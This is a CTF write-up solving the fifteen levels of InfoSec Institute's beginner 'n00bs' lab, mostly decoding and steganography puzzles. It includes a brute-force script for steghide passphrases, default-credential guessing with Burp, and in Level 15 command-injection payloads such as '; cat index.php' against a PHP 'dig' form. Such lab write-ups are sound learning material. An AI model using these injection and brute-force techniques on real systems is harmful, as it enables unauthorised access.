CTF,

n00bs CTF Labs by Infosec Institute

ctfn0bs

This time InfoSec Institute bring us the opportunity to learn a very basic concepts for n00bs on a CTF with 15 Levels.

Level 1

Just browse the source and see the comment.

<!-- infosec_flagis_welcome -->

flag: infosec_flagis_welcome

Level 2

Seems we have a broken image here. Just to see binary output going to make a curl request.

$ curl -vvv http://ctf.infosecinstitute.com/img/leveltwo.jpeg
HTTP Request / Response ommited ...
aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=

The first base64 appears, let’s decode using python:

x='aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc='
x.decode('base64')
infosec_flagis_wearejuststarting

flag: infosec_flagis_wearejuststarting

Level 3

We have a QR presented on the screen. After decode it with a command-tool like zbarimage or just use your mobile, we have a morse code inside.

.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.

Because we just don’t want waste time, use a web online.
flag: INFOSECFLAGISMORSING

Level 4

Another image on the screen saying «HTTP means Hypertext Transfer Protocol». Let’s curl again:

$ curl -vvv http://ctf.infosecinstitute.com/levelfour.php
< HTTP/1.1 200 OK
< Date: Fri, 13 Mar 2015 19:42:38 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.6
< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf
< Vary: Accept-Encoding
< Content-Length: 3514
< Content-Type: text/html

In HTTP Headers we can see a wide variety of informations about a request with his response, this time we fix our eyes on:

< Set-Cookie: fusrodah=vasbfrp_syntvf_jrybirpbbxvrf

As we know our flag patern is infosec_flagis_ , this string doesn’t make sense, so let’s use python with rot_13 as decoder to try:

import codecs
codecs.encode('vasbfrp_syntvf_jrybirpbbxvrf', 'rot_13')
'infosec_flagis_welovecookies'

flag: infosec_flagis_welovecookies

Level 5

This time an infinite loop alert is ‘dosing’ our browser when visit page. Using some curl/burp proxy we can see entire source and see what’s causing this dos.

    <script>

    for(;;){
      alert('Hacker!!!');
    }

    </script>
    
    <img src="img/aliens.jpg" /> <br /> <br />

So let’s download this aliens.jpg file and see what is hidden. Stego is an interesting technique to hide messages inside media files. There are a lot of theory and tools to (un)hide messages, one of them is steghide.

$ steghide extract -sf aliens.jpg
Enter passphrase: (none)
wrote extracted data to "all.txt".
$ cat all.txt
01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011

No password for the embeded data, seems binary string we can convert using python:

import binascii
 
x='01101001011011100110011001101111011100110110010101100011010111110110011001101100011000010110011101101001011100110101111101110011011101000110010101100111011000010110110001101001011001010110111001110011'
n = int(x, 2)
binascii.unhexlify('%x' % n)
 
'infosec_flagis_stegaliens'

flag: infosec_flagis_stegaliens

Level 6

In pcap, UDP packet that contains an hexadecimal string «»696e666f7365635f666c616769735f736e6966666564», easy to decode:

import hashlib
x='696e666f7365635f666c616769735f736e6966666564'
x.decode('hex')
Out[1]:'infosec_flagis_sniffed'

flag: infosec_flagis_sniffed

Level 7

This level redirects to a 404.php page that says Not found. A closer look to HTTP on Burp repeater, it reveals the flag:

HTTP/1.0 200 aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA==
Date: Fri, 13 Mar 2015 20:31:20 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Content-Length: 0
Connection: close
Content-Type: text/html

Another base64 string to decode on python:

x='aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA=='
x.decode('base64')
'infosec_flagis_youfoundit'

flag: infosec_flagis_youfoundit

Level 8

It says to download a binary file app.exe. After some static and dinamic analisis with IDA and OllyDbg, seems that launch netstat command but nothing more.

This is main function decompiled showing netstat command:

// Address range: 0x401290 - 0x4012ff
int main(int argc, char ** argv) {
    // 0x401290
    int32_t size;
    alloca(size);
    printf("############################################\n");
    printf("# Welcome to infosec institute net app v1.0#\n");
    printf("############################################\n");
    system("netstat");
    _getch();
    return 0;
}

If we search for strings, we found the flag, allocated in .rdata:

 section: .rdata
0x403000: 69 6e 66 6f 73 65 63 5f 66 6c 61 67 69 73 5f 30 |infosec_flagis_0|
0x403010: 78 31 61 |x1a |
0x403013: 00 |. 

$ strings app.exe |grep flag
infosec_flagis_0x1a

flag: infosec_flagis_0x1a

Level 9

Auth login that says «CISCO IDS WEB LOGIN SYSTEM». After several SQLi manual and automatic sqlmap tries we think that title of the challenge is important.

Maybe some default password on Cisco web interface device. Using Burp intruder with «cluster bomb» option we can set two simple list to try, first contains ‘root’,’admin’,’cisco’ for the username and second a common list of passwords. After a while we can observe a different content-lenght on the responses, this can be indicate that we have the flag:

cisco

username:root
password: attack

Seems is on reverse order, let’s do it in correct with python:

def rev(text):
print 'Reverse: ', text
return text[::-1]

rev('ssaptluafed_sigalf_cesofni')
Reverse: ssaptluafed_sigalf_cesofni
'infosec_flagis_defaultpass'

flag: infosec_flagis_defaultpass

Level 10

For this level a Flag.wav is available to download. Seems stego but this time we use steghide with a dictionary password, all in a expect script to automatize. Later we see that this method was not successful but i want to include as a way to create a little bruteforce password automatization on stego.

$ cat steg.sh 
#!/usr/bin/expect 
set password [lindex $argv 0]
spawn  steghide extract -sf Flag.wav
expect "salvoconducto:"
send -- "$password\r"
expect eof

What it does this script is set a variable password, lauch steghide with params to extract and ‘expect’ password input(salvoconducto is password in some wird spanish translate) where we are going to bruteforce via dictionary file in bash this way:

$ for $word in `cat common.txt`; do ./steg.sh $word; echo "Tried: " $word; done

Finally the content of the wav file can be unhide with audacity changing frequency to 8000 hz and listen carefully the words: infosec[unserscore]flagis[underscore]f,o,u,n,d (spelled).

Attached file 

flag: infosec_flagis_found

Level 11

We download another image. One basic technique to hide some data on image files is putting on exif fields, so let’s see if we can see what is behind

$ exiftool php-logo-virus.jpg
ExifTool Version Number : 8.60
File Name : php-logo-virus.jpg
Directory : .
File Size : 13 kB
File Modification Date/Time : 2015:03:11 22:14:36+01:00
File Permissions : rwxrwx---
File Type : JPEG
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm��.
Profile CMM Type : Lino

On document name we see prefix ‘infosec_flagis_’ and another base64 that decoded give us an url (http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif) . After trying to carve this gif89a image and found nothing we assume flag is: infosec_flagis_POWERSLIDE

flag: infosec_flagis_POWERSLIDE

Level 12

An image of master yoda appears, but again can’t extract stego information. We have been trolled? We inspect source code of the page and found a css/design.css that contains:

.thisloveis{
color: #696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72;
}

And again python to decode this hex string:

import hashlib
x='696e666f7365635f666c616769735f686579696d6e6f7461636f6c6f72'
x.decode('hex')
'infosec_flagis_heyimnotacolor'

flag: infosec_flagis_heyimnotacolor

Level 13

This level contains a message that says: «WHAT THE HECK HAPPENED HERE? IT SEEMS THAT THE CHALLENGE HERE IS GONE? CAN YOU FIND IT? CAN YOU CHECK IF YOU CAN FIND THE BACKUP FILE FOR THIS ONE? I’M SORRY FOR MESSING UP :(»

We need a backup file of the levelthirteen.php. With same burp intruder technique we start to walk on filename extensions until we can find the backup one:

payloadlvl13

Start the attack and see different HTTP responses, all 404 but one is 200 OK.

payloadlvl2-13

It says to download misc/imadecoy file that is «tcpdump capture file (little-endian) – version 2.4 (Linux «cooked», capture length 65535)». Open wireshark, see a lot of packets and goto export HTTP objects to see if something is interesting there. We decide to download HoneyPY.PNG, here is the flag:

HoneyPY

flag: infosec_flagis_morepackets

Level 14

This level points to a SQL file containing soem admin password (phppass). It’s a little bit hint table name is called with a question mark – Flag?

-- Table structure for table `flag?`
--

CREATE TABLE IF NOT EXISTS `flag?` (
  `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(64) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(60) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) NOT NULL DEFAULT '',
  PRIMARY KEY (`ID`),
  KEY `user_login_key` (`user_login`),
  KEY `user_nicename` (`user_nicename`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- Dumping data for table `flag?`
--

INSERT INTO `flag?` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(1, 'admin', '$P$B8p.TUJAbjULMWrNXm8GsH4fb2PWfF.', 'admin', 'christyhaigcreations@gmail.com', '', '2012-09-06 20:09:55', '', 0, 'admin');

So I have discard cracking password (have tried with no luck) and continue to see data on the same file. In the date i have solved this, ‘misc’ directory has IndexOptions enable and can download another file seems real flag for level 14, level14.db, a sqlite db file containing this:

$ strings level14.db 
SQLite format 3
gtableflagflag
CREATE TABLE flag(flagval char[500] not null)
\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073

So it’s unicode hex that can be converted into string with python:

import hashlib

x='\\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\\u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073'
h=x.replace("\\u00","")
h.decode('hex')
'infosec_flagis_whatsorceryisthis'

Another way to solve this is seeing firends table, same unicode hex string on ID 104.

flag: infosec_flagis_whatsorceryisthis

Level 15

This level is command injection against «dig mx» command. It’s easy to ‘stop’ execution with ‘;’ and inject another command again, let’s see interesting php code on index.php file with ‘; cat index.php’

      <?php
        if(isset($_POST['dig'])){
        echo "<pre>";
        $cmd = ($_POST['dig']);
        system("dig mx " . $cmd );
        echo "</pre>";
        die;
        }   
      ?>

What happens here is that $cmd variable is not properly sanitize and original command ‘dig mx’ is concatenated  with our input so system finally lauch ‘dig mx; cat index.php’. Very bad use system command this way.

Making use of several commands we are able to, at least, see what’s system underlying, who user we are, etc …

;uname -a
Linux ip-172-31-35-36 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64
;id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
; ls -lasth /var/www/html
total 112K
4.0K -rwxr-xr-x 1 root root 70 Mar 13 18:49 levelseven.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 index copy.php
4.0K -rwxr-xr-x 1 root root 142 Mar 13 18:49 404.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveltwo.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 leveltwelve.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelthree.php
4.0K -rwxr-xr-x 1 root root 3.8K Mar 13 18:49 levelthirteen.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelten.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelsix.php
4.0K -rwxr-xr-x 1 root root 3.4K Mar 13 18:49 levelone.php
4.0K -rwxr-xr-x 1 root root 4.0K Mar 13 18:49 levelnine.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfourteen.php
4.0K -rwxr-xr-x 1 root root 3.6K Mar 13 18:49 levelfour.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 levelfive.php
4.0K -rwxr-xr-x 1 root root 3.5K Mar 13 18:49 leveleleven.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 leveleight.php
4.0K -rwxr-xr-x 1 root root 3.7K Mar 13 18:49 levelthirteen.php.old
8.0K -rwxr-xr-x 1 root root 5.2K Mar 13 18:49 index.php
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:52 misc
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 13:52 css
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 13:47 levelfifteen
4.0K drwxr-xr-x 7 root root 4.0K Mar 13 12:21 ctflabs
4.0K drwxr-xr-x 9 root root 4.0K Mar 13 04:50 .
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:48 js
4.0K drwxr-xr-x 2 root root 4.0K Mar 13 04:47 img
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 04:12 ..
4.0K drwxr-xr-x 3 root root 4.0K Mar 13 03:56 __MACOSX

: ;cat .hey – Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC

>>> x=’Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC’
>>> x.decode(‘base64’)
‘2+\xb1\xfad\xfa*G1\xf8\x88r24\xc5\x9f\x14\xfa*0\x1a\xfa.\x99.&\xc2’

After several tries to convert this encode to base64, rot13+base64, etc… i have found that is actually ATOM 128 encoded, a very weird type of encodings that really is just base64 with certainly chars to substitute. See this python code:

https://gist.githubusercontent.com/tunelko/49b7e64c1688d62d0ecd/raw/bd7ea14a38df81c3adc57db740663d54c6d147b1/weird_encodings.py

$ python b64variant.py "Miux+mT6Kkcx+IhyMjTFnxT6KjAa+i6ZLibC" dec
base64:  2+��d�*G1�r24ş�*0�.�.&�
atom128:  infosec_flagis_rceatomized
megan35:  �7���5���ws�������<
hazz15:  ���0j��J43�и��/J���z0��䌿
zong22:  ����������/�O�.��fğ

Flag: infosec_flagis_rceatomized

Bonus challenges

Found bonus on misc directory download readme.wav, seems morse code. Translate it and get the flag.

flag: INFOSECFLAGISMORSECODETONES